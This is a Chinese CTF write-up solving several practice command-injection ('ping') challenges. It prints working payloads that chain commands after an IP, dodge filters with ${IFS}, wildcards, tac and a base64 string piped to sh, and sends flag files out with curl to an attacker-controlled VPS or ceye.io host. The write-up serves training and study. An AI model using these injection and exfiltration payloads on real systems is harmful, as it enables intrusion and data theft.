目录
①[SWPUCTF 2021 新生赛]babyrce
②[LitCTF 2023]Ping
③[0xGame]ping
④[GXYCTF2019]Ping Ping Ping
⑤[qsnctf]PingMe02
⑥[CNSS]Ping
⑦[GeekChallenge2023]ctf_curl
用hackbar往cookie里写: admin=1
(这里注意:shell_exec是无回显的,一般单独出现会涉及到dnslog外带,但这里后续echo $a实现了回显,属实良心了)
?url=ls${IFS}/
?url=cat${IFS}/flllllaaaaaaggggggg
试图直接拼接RCE,弹窗发现是前端限制
1.禁一手JavaScript
2.127.0.0.1|ls / 查看到根目录下有flag
3.127.0.0.1|cat /flag 查看根目录下的flag,直接爆出flag
(写此文时平台关了,所以没有图)
开幕雷击,显然rce注入点在url中
随便ping一下可以成功
尝试分号拼接
发现过滤关键词
删去/,成功执行,则后台waf中含/
不过出题人也算人道,flag.php就放在了当前目录
直接cat
发现过滤空格,${IFS}或$IFS$9绕过
发现还有关键词被waf拦截,猜测是flag,尝试用通配符绕过
看来还是过滤了挺多东西的,这种时候不要慌,我们还可以读同目录index.php的源码
(ps:经过尝试发现只有${IFS}$9可以绕过空格)
flag每个字母都被过滤了,bash也被拿下,但好在sh还在,可以base64绕过!
给出最终payload:?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
f12查看源码得到flag
熟悉开局
随便ping一下
发现空格过滤,${IFS}绕过
发现flag文件,尝试cat
发现cat被过滤,用tac绕过(其实more,head,tail这些也行)
发现flag关键词被过滤,直接通配符绕过
先审下源码:
n12br()函数作用
ping函数返回值是$output,赋值给了$ping_result
之后echo n12br($ping_result)使原本无回显的exec有了回显
这里有两种姿势
给出payload:
①
ip=127.0.0.1;ls /
ip=127.0.0.1;cat /flag
②(主要一开始没注意到exec这里设计是有回显,所以直接外带了)
ip=127.0.0.1;curl -T /flag YourVps
注释第二行直接告诉了flag的路径,暗示挺明显了,直接curl外带
payload:?addr=-d '@/tmp/Syclover' -X POST "xxxx.ceye.io"